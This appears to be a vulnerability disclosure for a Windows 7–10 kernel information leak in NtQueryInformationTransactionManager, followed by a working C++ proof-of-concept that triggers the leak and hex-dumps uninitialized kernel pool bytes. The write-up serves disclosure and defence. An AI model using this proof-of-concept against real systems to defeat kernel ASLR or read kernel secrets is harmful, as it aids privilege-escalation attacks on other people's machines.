/*
We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit.
The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION:
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typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION {
ULONGLONG LastRecoveredLsn;
} TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION;
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We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
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C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........
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Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <KtmW32.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "KtmW32.lib")
extern "C" {
NTSTATUS NTAPI NtQueryInformationTransactionManager(
_In_ HANDLE TransactionManagerHandle,
_In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,
_Out_ PVOID TransactionManagerInformation,
_In_ ULONG TransactionManagerInformationLength,
_Out_opt_ PULONG ReturnLength
);
};
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
TRANSACTIONMANAGER_RECOVERY_INFORMATION Information;
DWORD ReturnLength = 0;
NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength);
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(&Information, sizeof(Information));
CloseHandle(hTransactionMgr);
return 0;
}
